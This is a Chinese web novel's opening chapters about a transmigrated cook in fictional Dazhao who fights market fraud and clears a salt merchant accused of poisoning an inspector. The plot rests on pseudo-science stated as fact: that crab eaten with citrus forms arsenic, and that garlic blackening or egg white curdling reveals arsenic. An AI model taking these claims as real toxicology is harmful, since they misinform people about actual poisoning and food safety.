《在逃厨娘,但想炖江山》
1. 穿越后我成了市霸
岭南,清晨。
天刚发亮,小镇的菜市口早已人声鼎沸。卖鱼的汉子赤着脚踩在水洼里吆喝,案板上银鳞翻跳,腥气混着泥土的气息扑面而来。晏知微背着竹筐,灰白裙角掠过泥泞的地面,却一丝污渍也未沾,仿佛连尘土都避着她走。
“店家今儿来得好早。”瞧见晏知微落在摊上的倒影,卖豆腐的老王头忙抬眸,堆着笑颤声招呼。视线中的小娘子丹凤眼微眯,左颊生了个小痣,看着秀气,可半月前她曾一指头戳穿自己掺了豆渣的豆腐,还险些用银簪划破他脸颊。
老王头冷汗沾衣,不敢说话。
晏知微生茧的手抚过案板上白亮方正的豆腐块,指尖一压,豆腥气往空中弥出。
“老王头。”晏知微忽然轻笑,“今日的豆腐,莫不是拿昨夜的豆渣压的?”
“这水汪汪的,都能养鱼了。”晏知微敛颔,一掌砸在台面。
老王头额角冒汗,干笑着将底下藏着的另一板豆腐推出来:“您、您说笑了,我刚……没上完货呢。这才是今早现磨的……”
晏知微却不接话,扭头走向隔壁新支的菜摊。摊主是个面生的黑脸汉子,正抻着脖子朝过路妇人吹嘘自己水灵的白菜。
“今早刚从地里拔的,露水都还在!”黑脸汉子吆喝道。
晏知微瞥了眼过路妇人微凸的小腹。
不多时,她俯身拎起一颗白菜,轻刮开外层青叶,叶脉间泛着不自然的蜡光,掐断的菜梗渗出乳白汁液,油腻的沾在指尖。晏知微拈着菜叶晃了晃,果真在日光下发现些虫眼。
“大哥,你这白菜怕是泡过矾水吧?虫蛀成这样,硬拿矾浆糊了卖相。”
晏知微又贴着过路妇人低语:“矾浆就是矿泥,吃了准闹肚,不定会死人呢。”
闻言,黑脸汉子脸色骤变:“小娘子莫要血口喷人!不买便罢了,怎能随意诬人清白?”
黑脸汉子的声音太大,惹得四周摊贩纷纷侧目,窃笑着看热闹。毕竟哪家商贩没动过点小心思,内行人多心知不言,然偏生不幸,撞上这位活阎王。
众人看看汉子又看看晏知微。
晏知微仍然是一副淡定的样子,一手扯过摊边木桶,将白菜浸入清水。不过须臾,水面浮起一层浑浊的絮状物,菜叶上的虫眼如褪了脂粉的老妪,密密麻麻显了出来。
“还有话要说?”晏知微眼露不屑,身子歪倚住摊位。
人群哗然。
黑脸汉子涨红了脸,想要夺木桶,却被晏知微抓住手腕:“官府明令禁售毒菜,是我押着你去见官呢……还是你现在收拾摊子滚出菜市?”
汉子喉结滚动,冷汗顺着脖颈滑进衣领。不过片刻,摊前已空空如也,只剩一地菜叶狼藉。
街市的人们见晏知微三下五除二便降伏恶人,不由得发自内心鼓起掌来。晏知微昂起头朝人群扬起手,涨红着脸高调接受众人的称赞。
魂穿到大昭的第二年,晏知微也算是融入了这里的生活。
晏知微回想起曾经,她本是偏远农村出身的长姐,其貌不扬,学习好但为补贴家用辍了学,十六岁便找了家农家乐帮工,养过蔬果,也学过厨艺。一晃十年过去,好不容易学了点本领打算开间店,一辆豪车从路上驶来,晏知微感受着自己的呼吸逐渐急促、短促、无促,最终失了神志。
醒来她便到了大昭岭南的一个村镇,这儿是她从未听说过的一个古代国度。
好消息是她拥有了一张娇俏的脸,算不上大美人,放在前世却也能评个七分,圆了过往自卑的遗憾。坏消息是她魂穿的是一个没落世家的庶女,还是被丢到乡镇的那种。总之无人管教、无人在意、无甚存款,瘦小得骨头架咯吱作响,娘胎还带了免疫力低下的病,这就是晏知微的天崩开局。
所幸晏知微还有些手艺,她变卖了身边还算值钱的衣饰凑齐启动资金,从小摊贩慢慢发展,赢得口碑后盘了家门店开食肆。
至于其他的,也没什么值得一提的,哦对,有一回上山摘野菜,她还半道捡了个小白脸……
不对,其实也不是很白。
晏知微思绪还飘忽着,菜市东头忽然炸开哭喊声。
一个蓬头垢面的男人抱着几条红肉横冲直撞,男人慌不择路,一把撞翻晏知微的竹筐,鲜嫩的青椒掉落在地,有些被踩得汁水四溅,黏在青石板缝里,像是小青虫迸溅出的尸液。
那可是晏知微好不容易挑到的极品椒,用来做特制版青椒肉丝的!
岭南人吃不惯辣,也不食苦,又希望嘴里有些味,这般要求市面上的大部分青椒都难以满足。晏知微难得寻到家农户新栽了点符合要求的青椒,她斥巨资买下准备研究新产品,结果菜尚未端桌,生生在她面前“丧生”。
晏知微眉头微蹙,银光闪烁,男人后领已被簪尖勾住。晏知微左手擒着他脖颈,右手捏着幸存的青椒独苗在他眼前晃:“赔钱或者赔命。”
“给老娘选一个!”
河东狮吼外加安危之患,男人抖如筛糠。来不及求饶,臂膀又被另一个有力的大掌压得生疼。
是祝明煜!晏知微捡到的那个小白脸。
祝明煜一双硕大的眼睛撞入晏知微视线,他愣愣的张着嘴,硬汉的体型生了张精致的脸,麦色皮肤,眉目深邃却不刻薄,下颌还留着点未褪的圆钝。
捡回祝明煜也快半载了,这厮失了忆记不得身世,却还诡异的记得住自己的名姓。不过祝是大昭的大姓,连路上的狗都可以叫“小祝”,记得也没什么信息量。
晏知微不过看人老实,长得斯文通文墨,且力气够大,便留了他做了个苦力,平日便在后厨帮工。
此番祝明煜在此,正是晏知微派来收肉贩猪肉的。
祝明煜瞧见是晏知微,露出口白牙,嘴角都快咧到耳后。晏知微从上到下打量,见他肩头背着半空的篓,头发乱糟,袖口还沾着泥点,便什么都明白了。
“知微……”祝明煜刚开口,便被晏知微眼风剐住。
“让你买些肉,结果被人抢了货。”晏知微一脚踩住小偷欲溜的衣摆,“今天若是我不在,可不是要货财两空?!”
晏知微冷哼:“你怎么不和肉一起被盗了呢。”
祝明煜挠头:“我这么大块头,他搬也搬不走啊。”
“那你就这么任由他跑了。”
“这不在追嘛……”
“你追个屁!”晏知微被祝明煜憨过了头,伸手向他耳朵。
趁晏知微分神,小偷想推倒她挣脱,被祝明煜手中飞出的红肉绊住脚踝,摔了个狗啃泥。祝明煜俯身捡肉,眉目里倏地闪过一丝寒芒。
惨叫声不绝于耳。
祝明煜松开捏紧小偷腿部的手,朝小偷耳语:“见你衣衫褴褛,本想放过你一马,可做事要有度,你说对吗?”
“我……我我,我知错了,爷!”方才的疼痛仍历历在目,小偷不敢多言,
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一个劲儿跪下身朝祝明煜磕头。
见祝明煜没有反应,小偷又赶忙转过身冲晏知微求饶。
“我错了,姑奶奶!”
“不要再让我见看到你。”掠过小偷如柴的手骨,晏知微翻了个白眼道。
——
城南,晏知微家。
晏知微与祝明煜大眼瞪小眼,瞧着一堆被踩坏的青椒你吁我叹。
小偷的事是处理好了,红肉也寻回了,可还有大半筐破损的青椒尚待处理。
晏知微捂着发痛的头皮,心想炒肉丝是不成了,可这些青椒又是花大价钱从农户那收来的,这么白白浪费了也是可惜。
祝明煜瞥见晏知微低沉的脸,双手绞在一处,不敢说话。
直到隔壁传来饭菜香,诱得祝明煜的魂都跑了,他才悄悄抬起头。
“知微,咱们先坐下来休息一会儿?”
祝明煜搓手:“不若你喝口水,我先去生火做饭。”
“隔壁方大娘前个下午才送了坛自酿的腐乳,我去取一点出来试试味可好。”晏知微平素无事便在家里钻研菜品,左邻右舍都收过她的投喂,自然也是投桃报李,家里有些什么也会分给晏知微一份。
祝明煜叹了口气,为晏知微倒了杯水,向厨房走去。
晏知微却突然眼前一亮。
“腐乳。”晏知微喃喃自语,“我怎么就忘了这件事呢?”
腐乳是用盐腌制的,岭南人也喜食腌菜,何不将这批青椒用盐腌制后封坛,制作盐腌青椒。
晏知微大喜,又想到青椒数太多,家里的盐和坛子怕是不够。可马上要晌午,盐市遥远,卖坛户又在反方向,破烂后的青椒保存期限短,她一人可无法和时间赛跑。
晏知微拧紧眉毛,盯着祝明煜强健的背影,随后,她猛地从椅子上弹起,拥住祝明煜的后背,道:“我果然离不开你。”
离不开我……
祝明煜怔了怔。他的双手僵在半空,耳尖烫得能煎蛋。
“知微,我们这样是不是……是不是靠太近了……”晏知微发间木槿香混着青椒的辛辣直往祝明煜鼻腔里钻,激得他喉结滚动,恍惚间竟瞧见十年后的光景——
晏知微系着围裙在灶台前熬汤,他拎着刚钓的鲫鱼推门而入,三两个扎羊角辫的娃娃扑上来喊爹爹。案板旁还摞着几坛美酒,坛身红纸写着“晏祝酒楼特供”……
想到此,祝明煜不由得脸发涨,一时说不出话来。
若是能这般生活多好啊。
祝明煜眼底闪着亮,嘴角扬起,却不知想到了什么,又抿低了唇。
“发什么愣!”晏知微突然变脸,一巴掌拍在他后腰。
“叫你去买坛子呢,买三十个,我要用做盐腌青椒。”
“这回再出错,我就把你剁了,和青椒一并腌掉,挂在房梁上熏腊肉。”
祝明煜吓得往后退上好几步。他知道晏知微不是开玩笑的,若是这回再出错,他不说死,怎么也得进黑漆的柴房和鼠兄培养一番感情。
确认完自己的处境,祝明煜头顶冒汗,同手同脚往门口挪,临出门又鬼使神差回头。
“知微。”
祝明煜想要为自己求情。
几乎是眼含热泪,他颤声问:
“若腌我……用花椒还是八角?”
檐下麻雀“噗”地打翻水碗。
晏知微抄起扫帚掷过去:“用砒霜!”
2. 小显身手破盐毒(上)
目送祝明煜离家,晏知微扭头转向盐市。
“一个小坛子大概三四升,一个差不多装三公斤青椒,三十坛就是九十公斤……”
“干腌比湿腌更加方便,可岭南人怕是不喜欢太咸,湿腌又得考虑到盐水浓度,估摸也不能简单……”
如何才能用最低的成本制作出最好的腌椒呢。
晏知微走在熙攘的集市中间,盘算着盐腌青椒的方式以及所需要的用盐量。
她的思绪太过集中,以至于全然忽略了身旁愈发聚拢的人群,待到晏知微后知觉到闷热,她已经似夹馍般被拥到了人群最前头。
“这前头发生了何事?”身旁的好事者发出询问。
“好像是最东边那家的刘掌柜出了事,听说是卖毒盐给了知县……亏他还是咱这片最大的盐贩,平时看着多实诚,真是人不可貌相。”
刘掌柜?自己平时经常去买的那盐商?晏知微回想起刘掌柜,看上去挺仁善一人,晏知微还目睹过他救济镇上孤孩,只是人实在抠搜了些,对待客户是一点折扣也不让。
晏知微挑眉,朝人群凑近。
有摊贩放下手中的货物:“我还是觉得不可能,刘掌柜家大业大的,不至于在这点小事上吞财吧?”
“你懂什么,北边都已经打的不可开交了,这乱世当头,为自己敛财的事儿可不嫌多。”
“都别再讨论了,人就在跟前,是真是假咱们用眼睛瞧。”
晏知微循着讨论的声音,视线越过人群,果然看到了一个下跪的身躯。
盐铺前人头攒动,晏知微踮足了脚才看清全貌——刘掌柜被粗绳捆住,一双官靴碾着他颤抖的手指:“说!为何在盐里掺毒?”
余光还能感受到如刺冷意,钟滇信心想自己可真是触了大霉头,翻眼咂嘴,脚下力气又重了几分。
钟滇信好不容易得到县令的重用,被任命来招待从上头来的巡察使,不过是一顿饭的功夫,人使闹了肚子,大夫诊出是砒霜中毒。
可所有食材都查过,未寻出问题。钟滇信多番调查,得知筹备宴席时盐不够,厨子图省事换了买给自家的小罐新盐。于是钟滇信找上盐商,打算查出此事以将功赎过,只没想到这人嘴硬得很,愣是不肯承认。
钟滇信狠戾地咬住牙关,愤怒冲上胸腔,他随手将半袋盐取出,泼在刘掌柜脸上。
刘掌柜衣裳狼狈,他坐在地上,雪粒黏在他灰白胡须上,倒像一夜急白了头。
晏知微不敢再看。
她忽然想起穿越前的雨夜——弟弟欠了债,债主找上门来,门窗被砸的稀碎,债主仍是不解气。父母推她出来协商,反害上无辜的自己。如践踏牲口般,债主怒着眼,往她嘴里塞泥巴。
雨水冲刷全身,冰凉从骨血中溢出,晏知微瘫倒在地上,面前是紧闭的房门。
就是从那一刻起,她下定决心,今后只为自己而活,只为自己的利益动身。
晏知微攥紧拳,盯着钟滇信的腰牌,折头闭住了眼。
“大人明鉴。”刘掌柜咳出血沫,拾起沾灰的盐袋捧在手心,“小老儿祖孙三代贩盐,这是我的家业,也是我的立身之本,君子有节,我们俗人也有自己的信义呀!”
“信义?”钟滇信腰都快被笑弯,“你的信义,值几个钱啊。”
钟滇信踢开盐袋:“你迫害的可是朝廷命官,我劝你不要再狡辩,快快伏罪,兴许还能保你一命。”
似乎是觉得还不够,钟滇信又有了新主意,他高举双手,朝向众人:“这老头说自己是有信义之人,诸位觉得呢,有谁能替他作证?”
顷刻间,刚才还沸腾的人群默下声。钟滇信嘴角扬得更上,他拽住刘掌柜的衣襟,准备将人带离,一个人影却覆上来。
“我信这老伯。”一袭白衣从人群走出,来人眉目温和,手上还把着墨扇。
“钟大人。”江覃规矩地向钟滇信行礼,俯身扶起刘掌柜,道:“正依老伯所言,不论是高坐殿堂还是生于草莽,只要向上向善,皆为君子。”
钟滇信看着这一切,暗道不妙。此人他识得,是巡察使身旁的随人,他不爱说话,但深得巡察使重用。钟滇信干咽慌乱,眼珠晃了几圈,低下头来。
恰在此时,一个长相贵气的年轻官员站在江覃身后,腰间金牌刻着“巡察使祝”四个字。
“我道钟大人去了何处,原是撂下为我引路的差事,帮我讨起昨日的公道来了。”原是宴席的主角之一正巧现身,百姓纷纷让道。
“祝大人。”钟滇信硬着头皮向前。
“钟大人好是赤诚。为人仗义尽职,本官可得好好和县令说道说道。”对方不过是垂下眼睫,一股寒气涌上钟滇信心头。
晏知微眯眼打量这位巡察使,虽是在为刘掌柜说话,但字句间含枪带棍,连带俊秀的五官都笼着层阴鸷,活像她腌过头的松花蛋。
晏知微尚未来得及再点评来人,见形势突变,民众又开始叽喳:“依我之见,说不准是城西那家新盐户做的手脚,早听闻那人野心大,手脚也不干净。”
“你是说,那人特地往刘掌柜的盐里掺料,就是为了独占市场?”
“毕竟那人可曾是一个囚犯。”
人们你一言我一语,晏知微听着都快糊涂了,唯有那巡察使不为所动,他向前一步,冲刘掌柜开口:“你说你冤枉,可拿得出冤枉你的证据?”
“群众信你,我的谋士信你,我却更信我的眼睛。”
“若是没有证据,这亏,掌柜怕是还得吃上一吃。”男人露齿而笑,眼却是冷的。
闻言,刘掌柜跌在地上,钟滇信也笑了。
哪还能调查出来。不过小罐盐,早已用尽,否则哪需和这小老儿多言,他早早拿出证据将人抓走。
是他的锅也好,不是也罢,今天这难,刘掌柜是躲不过了。
好不容易见着的光亮再度熄灭,巡察使深潭般望不见情绪的眸打在刘掌柜身,化作水蛇,缠掩住他的声带。
“草民……”
“让让!”人群中传来声响,晏知微突然拔高嗓门,“民女晏知微,有法子验毒!”
众人齐刷刷回头。刘掌柜眼神放亮,直勾盯住晏知微。
晏知微挪步至刘掌柜身旁。
“刘掌柜,我助你逃脱困境。”晏知微笑,“但是相对的,你要答应我一笔交易。”
——
县衙后厨,晏知微趴在灶台上,鼻尖顶着一口硕大的铁锅。
锅是为了宴客新开的,只做过招待巡察使的一顿饭。晏知微刚嗅过锅底,没有异味,铁锅的表面也没有出现灰色或黑色斑点,更没有异常锈迹。
晏知微松了口气。她高中只读了一半,最喜欢的科目是化学,她清楚的记得,砒霜的主要成分是砷,铁锅的主要成分是铁,在高温下两者组合,很有可能会产生还原反应,在锅表面形成黑
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色或深色物质。
大抵不是在炒菜时混入的砒霜。
不过古代没有化学,砒霜与铁的反应也需看量,若砒霜的含量过低,兴许也不会留下痕迹。
还得想些其他办法。晏知微手指抵颔,继续寻觅线索。
钟滇信远远观望着缩到灶台底下的晏知微,手怕捂住鼻,殷勤地拿着把小扇,为江覃二人扇去厨房残余的油烟。
“祝大人,我看这小娘子没甚本事,刘掌柜不过是一时花了眼,危急之下随意唤了个人查案。”
“眼下天快黑了,大人可先去歇歇,我一人盯着这小娘子便可。”钟滇信折下身行礼,脸上的横肉颤得一抖一抖。
姓祝的巡察使不搭话,只摸着腰牌,斜靠在一方刚扫洗过的灶台。
相较之下,江覃则端方得多,累了也不找外物支撑,不时还礼节性的冲晏知微方向看,成了场上最关注晏知微查案的人。
江覃作揖:“钟大人客气了。”
“我家大人是受害人,自然也想亲眼目睹办案的进度。”
江覃又笑:“倒是苦了这位小娘子,一个人干着这些脏活……”
话音未落,晏知微突然从灶台底下窜起。
“昨日宴席吃了些什么?”晏知微在灶台底下翻腾得过久,头上的发髻早不成形,鸡窝般长在头项。
她却丝毫不在意自己的窘状,从厨房水缸中随意沾了沾,径直走向祝巡使,像对祝明煜一样,惯性抓上他的臂。
祝巡使躲开,又瞥过晏知微发黑的裙摆,皱眉道:“菜是别人布的,我怎么会记得。”
晏知微擦了擦手,刚才在灶台底下太闷,几乎是本能反应,她发问:“饭不是你吃的吗?”
“毒还是我中的,你说我知晓自己中了何毒吗。”对面人冷哼出笑,从袖中掏出张绣得精巧的手帕,当着晏知微的面擦拭过她刚抓过的地方。
嫌弃自己呢。晏知微目睹全过程,险些翻了个白眼。
大男人就这点能耐,娇生惯养的。晏知微无语,心想这松花蛋脾气真是古怪。
不过不答便不答,有的是人能回应她晏知微的问题。
她随着当天的帮厨进了贮食的库房,又向当天布菜的婢女问询,到底还是拼凑出真相。
“海蟹二十只,柑橘三筐。”晏知微擒支木棍,蘸着泔水在青砖上划拉,“虾酱半坛,渍柠檬……”
“吃这么多。”
“上辈子是饿死鬼投胎的吧。”蛐蛐的正主就在身后不远,晏知微虽是是吐槽也只敢小声,装模作样复述婢女的回话。
晏知微是不敢再招惹这位巡察使了。方才她找帮厨问话便听闻此人极其难搞,口味挑剔——清蒸鱼不能放姜,爆锅时不能用蒜,葱花也基本不碰。哪怕只闻到这三样东西,他也会呕吐不止。
离谱得很。
要晏知微吐槽,这人舌头既灵得像马鞭,别说砒霜下肚,该是砒霜触了牙就该跳三米高,立马察觉到异样啊!
也不知道他府中的私厨该多崩溃,遇到这样的主子,家门不幸,厨生无望喽。
可这不是晏知微该忧心的事,当下将真相公诸于众,还人清白才是正事。
晏知微丢下手中的木棍,拍了拍手,大步迈回厨房。似乎想到什么,她走到门槛处又折过头,果真瞧见那祝大巡查使还在擦拭自己的衣袖。
晏知微用力抽了抽嘴角。
切。
3. 小显身手破盐毒(下)
县衙后院,晏知微召集众人。
落日飞坠,院里陆续点起灯。橘黄色的微光照亮晏知微的脸,更照明出她手上拿着的物什——熟透的海蟹与柑橘。
晏知微净过手,唤人端出一碗蛋清,又找来剥蟹的工具,竟当众处理起海蟹来。只见晏知微两指钳住蟹脐,腕底猛旋,甲壳应声离骨,不多时,大块饱满的雪肉呈现在众人面前。
江覃瞠目结舌,祝巡使也难得抬了眼。
而钟滇信见晏知微不紧不慢的动作,心道自己被耍,怒气到了极点:“小娘子,你这是在玩家家酒呢,我们可是在办案,耽误了时间你担得起吗?”
晏知微不作声,将海蟹与柑橘混合进蛋清。
好一阵过去,钟滇信实在等不住,上前抢过晏知微手中的碗。
“我倒要看看。”钟滇信嘀咕,却见碗里原本透亮清明的蛋清凝成絮状。
钟滇信不由得瞪大双眼,晏知微翘嘴,从怀中拿出了一瓣蒜稍蘸碗中液体,白色的蒜也逐渐发黑。
“民女只知,砒霜遇蒜变黑,遇蛋清凝絮。”晏知微展现碗中异样,向后退了半步,
“要民女看,此次巡使中毒或非人所害,不过是误食了相克的海蟹与柑橘,二者摄取过量便会产生砒霜,从而戕害贵人的身体。”
“大人若不信,找医者过来询问两句亦可。”
晏知微埋头行礼,岭南临海且盛产海鲜,贵人难得下来巡视,下边的官员自是百般殷勤。大昭的京都在北边,属于内陆,吃到新鲜海鲜的机会难得,如此盛情下,多食了些海产倒也寻常。
晏知微吞咽口水,仍未敢放松,纵她给出了一个相对合理的解释,可信不信终归是上位者之事。更何况食物中毒本身讲究剂量,纵然海蟹和柑橘可能生成砒霜,是否会达到中毒的剂量也是个未知数。
她也只能给出一个猜测,至于其他可能的答案……
祝巡察使把玩着腰牌,锐利的眼睛直视俯下身的晏知微,在晏知微埋头的视角盲区,意味深长地笑了笑。
“如此,倒也算真相大白。”祝巡察使抬手,“钟大人,没想到小小岭南县竟也是藏龙卧虎。”
祝巡察使背身,亲自解开绑着刘掌柜的绳索:“你无罪了。”
他又回头,眼神剜过钟滇信:“好一个朝廷命官,竟敢妄下定论,企图草菅人命。”
“脱了这身官服,本官再不想见你。”
“拖出去。”一声令下,两侧候着的小吏向前,不过片刻,钟滇信那曾经高昂的头颅低到地面,小吏还在拖拽,几声呼喊后,院内再瞧不见钟滇信。
晏知微心尖的石头总算落了地。桌面上还有未用尽的食材,厨子的天性是见不得浪费,她惯性起身,用剩余食材做了份混合蛋炒饭。
裹上鸡蛋浆的米饭粒粒饱满,蟹肉添在期间,露出粉白色。
香味扑鼻,江覃喉结动了动,率先试了一口并称赞连连。
江覃又将那盘蛋炒饭推给面色铁青的祝巡察使,祝巡使吃了几口,不说话。
晏知微有些紧张,虽然此次查案还刘掌柜清白才是重点,可她作为一个厨子,总归还是希望能够征服挑剔者的味蕾。
眼见巡察使净了盘,晏知微终是塌下肩膀。她正欲长吁粗气,迈步离开的祝巡察使又来了个回马枪,他隔着几步远,冲晏知道:“虽是个乡野丫头,倒也不失机智。”
“厨艺也还算勉强。”
“这些时日我就住在县衙。”
“若你想要更进一步,可以找上我,我倒是愿意为你留个私厨之职。”
进你个大头鬼!晏知微撇嘴。
这男人当真普信,不过是个仗着官威颐指气使的巡使,看上去还不到而立,怕不是那户官家子弟来刷个履历,若论真材实料来养活自己,能力怕还不如她晏知微。
又是仇富仇权的一天!晏知微吸了吸鼻子。
——
县衙门外,祝明煜满面焦急。
自己不过是去买了些坛子,虽说去的路上慢了些,也因没能按晏知微的叮嘱成功还价而踌躇过许久,可到底黄昏之前归了家,不似晏知微,无端卷入命臣之案,若不是动静闹得够大,他怕是连去哪寻晏知微都不清楚。
那可是朝廷命官啊,以晏知微的个性若是惹着了权贵,祝明煜闭上眼,全然不敢想象。
祝明煜面色发沉,脚边的石子都快被他踢平碾碎。月光皎皎,洒在他粗麻的袖口掩着的半块金镶玉上,玉质透亮纯净,与他身上的其他物什格格不入。
——
“刘掌柜,今儿我可是帮了你大忙。”
县衙府,对祝明煜此刻的担忧毫不知情的晏知微见危机解除,和刘掌柜一同向外走。
刘掌柜抖着手,面色潮红,直到抵达门槛二人即将分别之际,他才回过神来:“晏娘子,不,晏掌柜,若不是你,刘某怕是难逃一劫。”
似是想起什么,刘掌柜赶忙作揖:“答应你的事情我绝不食言。往后只要需要,在我能力范围内,掌柜餐馆的盐一律免单。”
这便是刘掌柜答应晏知微的交易了。
晏知微当时在刘掌柜耳畔细语,要求事情摆平后刘掌柜需无偿为自家餐馆供盐。她在心里盘算过这单生意,盐价虽不贵,但终归是餐馆不可少的支出,累着累着也不是笔小数。
本以为还需旁敲侧击才能让刘掌柜认下这笔未画押的债,晏知微怔了怔,她倒没想过对方会如此痛快。
晏知微露出笑:“掌柜果然是痛快人。”她欲扶起行礼的刘掌柜,触着的是对方瘦削而佝偻的背脊。
晏知微默了默。
“今日我帮你,也不全是为了利。”晏知微瞥过刘掌柜发白的外褂,想到市集中那群秃脚的乞丐,又忆起刘掌柜施粥的背影。
“我知你不易,乱世之中人人都求独善其身,偏你不同。”
“我景仰你。”
晏知微叹了口气:“可我不同,没有你这种仁慈,人各有命,我只想获得应有的回报。”
晏知微仰头:“市价五折。这是我能接受最低的回报。”晏知微是知道行情的,五折的价格踩在成本线上,刘掌柜不至于亏,她也保全了自己的利益。
“明日午时,我来你这取盐价五折的相关契书。”不再回首,晏知微甩袖离开。
“知微!”晏知微前脚迈出门槛,还没走几米远,听到熟悉的声音。
祝明煜头发潦草,瞪着硕大的眼,衣上还挂着杂草,怕是方才翻了墙或爬过狗洞。
“你这也太狼狈了吧,瞧你脏的,做贼呢。”晏知微心觉好笑,伸出手想要为祝明煜理去衣袍上的杂草,却被人反手抱住。
“我还以为你回不来了。”祝明煜语带哽咽。
“他们可刁难了你?你有何不适吗?”祝明煜左闻闻右嗅嗅,手悬在晏知微头顶,又缩了回去。
晏知微压住祝明煜罩住自己的手,又摊开双臂,转了个圈展示给祝明煜瞧:“能有什么事儿。”
“不知道的还以为我断手断脚了。”晏知微抿唇翻了个白眼,“你就这么盼我不得好死?想早早为我发丧了?”
晏知微习惯性地挑逗祝明煜,本以为会换来对面人的无措,却适得其反。祝明煜没有笑,甚至是冷着脸,把住晏知微的肩
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。
“你是真的不知我有多着急吗。”祝明煜手劲没个分寸,晏知微感到自肌底而生的胀痛,不由得嘶声。
祝明煜道:“不是你说过的,官家危险,我们小民该滚多远就多远,你竟还敢以身设局。”
“你就不能谨慎些?”
“我这不是。”晏知微没见过祝明煜这般郑重的神情,一时竟不知道如何组织话语。
一番失神后,晏知微低声嚅:“我本来没打算出头的……唉,好吧我承认是我冲动了,可我这不是还好好的吗,下回,我下一回……”
“没有下回了!”祝明煜搂紧晏知微,“下回你叫上我。”
祝明煜想,他力气大,又是个男人,若是对方要出气也该找上他。
晏知微还在祝明煜怀中,鼻端闻到他衣袍淡淡的皂角香,晏知微又抬了抬脖,脱不开身。
“哎,祝明煜!”晏知微个子不算高,堪堪触及祝明煜的半肩。
祝明煜的怀抱依旧温暖,还有越来越紧之势。
晏知微被捂得无法呼吸,也不想再听祝明煜的唠叨。她灵机一动,身子顺势瘫倒下去:“哎呦喂,我腿软了。”
祝明煜面露惊色,晏知微将半身的重量都放在他身上:“我刚真太累了,你不知道那狗官有多难伺候,唉,就是那个从中央新下来的巡使,见到我就跟见到鬼一样,恨不得跑出二里地……”
晏知微转移话题,右手把着祝明煜的脖:“你看我现在都走不动了。”
“要不你背我吧?”晏知微笑,她灵巧地扭身,像猴子爬树般攀到祝明煜背后。
祝明煜耳后一热,晏知微见状,又不怀好意地朝他耳畔吹了口气。
“驾!”晏知微还沉浸在同刘掌柜交易成功的喜悦里,话尾都带着笑颤。
“你抓紧了。”祝明煜叹气,双手向上托住晏知微。
一男一女在道上,远处打更声惊起栖鸟。
碧黑的小苔漫过青石岗,缠绵的白亮晕出月色的光泽。
有温热的触觉烙在皮肤,不知红了谁的脸,又敲了谁的心脏。
……
江覃瞧着越发遥远的两个身影,眉眼贴合在一处:“才子佳人,好景好画。”
“景倒是好景。可人,不过是一个村妇罢了。”祝隶稷背过手,月光倒映出他黑漆的瞳孔,他又想起刚刚在门口瞧见晏知微向刘掌柜开价的情形。
太过怀柔。
半价购盐,坚持不了原约,还在自作感动。
果真只是掌后厨的料。
“乡野村妇,不外乎此。”祝隶稷皱眉,评价道。
“可我看这姑娘心性善良,煜弟也颇得其照顾。”江覃拿扇子戳了戳身旁人,“这下你该放心了。”
作为镇守边疆的济平侯的嫡幼子,祝明煜本随父亲征战归朝,怎料突遇歹人,祝明煜误入陷阱,生死难料。
好在天佑其人,祝明煜死里逃生,还联系上了朝廷。
收到消息的第二天,其兄长祝隶稷请命,自愿派遣至岭南巡视。
江覃耸肩,问:“什么时候去见他?”
祝隶稷瞥了眼江覃,眼神深了深:“顺道来寻他罢了。”
祝隶稷道:“查清谁是朝廷的蛀虫才是正事。”
随身的银匕出鞘,冷刅划过祝隶稷的瞳孔。
“还是得麻烦少年及第的江谋士替我查查。”祝隶稷敛颔,“若是排除食物中毒,这岭南县,究竟有谁欲暗通曲款,又是谁想拿下我的命。”
匕尖锐利,乍破天际混沌。
江覃终于不再言笑。
夜,还很漫长。
4. 求娶
“十七、十八……”晏知微蹲在厨房角落,将坛子数了一遍又一遍。
她昨天回来得晚,身体也劳累,便早些歇息了。结果她今早起来洗菜,发现情形大变,纵然是放在冰凉井中贮存,经过岭南一晚的潮湿,青椒的品质仍大打折扣,有的长斑,有的都已冒出酸苦的汁液。
晏知微无奈叹息,挑拣了好一番椒,这才开始正式制作盐腌青椒。
盐腌青椒在现代不是道难菜,放在这个时代却还有些废脑,原因很简单,调味品不够。比如用不了鸡精,又比如这个时代的香醋的浓度过烈,很难掌握好量。但晏知微毕竟是多年的老师傅,鸡精不过是用来提味的,姜蓉与葱白混在一起可以顶替它,至于香醋,用水稀释注意用量也便罢了。
晏知微起手持刀,眨眼功夫姜块成丝,条条粗细一致且富有光泽,她又将桂皮、八角、花椒、香叶一应入油,放入冰糖与酱油,熬出盐腌所需淋上的酱料来。
腌过的青椒埋在酱汁底下,晏知微手头的工作才算告一段落。她扯住脖子上挂着的白巾擦汗,施施然起身净手。
接下来只待在阴凉处静置。
厨房东西杂,寝房温度高,这两者都不是放着盐腌青椒最好的地方。晏知微想到自家还有个因为潮暗而半是废弃的柴房,拾掇一番恰恰能派上用场。
晏知微朝院子望,祝明煜正在院中忙活。她一早起来腌青椒,祝明煜也没闲着睡懒觉,先是劈柴后又生火,怕打扰到晏知微特地重启了小院置的旧灶做饭。如今刚到正午,院子便隐隐飘来米饭香。
晏知微起了个大早,虽忙碌了两个时辰却不觉饥饿,只是困意上身,她勉强才保持住清醒。
实在不行了,周公找上自己了。
晏知微打了个巨大的哈欠后,拽下擦汗的白巾,冲着院子里的祝明煜喊:“我且先睡一会儿,你先吃吧,给我留些放厨房,我起来后自己热。”
晏知微向寝房走,又停下来折头:“你记得将柴房里头的东西清理一下,将这些盐腌青椒全都搬进去。”
“腌两个时辰就够。”
“记住一定要阴凉啊!”哪怕在梦中,晏知微都喃喃道。
晏知微瘫倒在榻小憩,朦胧间听见庭院窸窣作响。睁眼时却见暮色四合,显而易见,她睡得有些多了。
腌椒怕早早超过了两个时辰,她原本是想尝味后觉得合适再封坛保存,可这一觉到头,腌椒怕是过了味。
晏知微擦过面庞淌下的口水,顾不得睡眼惺忪,一个鲤鱼打挺起身,套上外褂后急怱赶至厨房。
“祝明煜!”晏知微歪着发髻呼喊,却没有人回应。见状,她底下的步子迈开得更大,脸也因焦急而潮红。
这男的可当真不靠谱!晏知微在心里骂咧,暗自腹语这回定要关祝明煜进柴房才行。
晏知微紧着拳到了厨房,腌臜话都到了嗓子眼,却见到一幅和预期全然不同的画面。
她瞌睡来得快,本还未来得及收拾厨房,眼下的厨房却十分干净。青椒坛已经不在,灶台上的调料摆放齐整,就连一口锅也都洗得锃亮。
晏知微又朝院子张望,石阶上码着新劈的木柴,连晾衣绳上都飘着浆洗过的粗布衫。
祝明煜今儿这么勤快?木头脑袋抹了油一下变聪明,会独立思考帮她收拾。
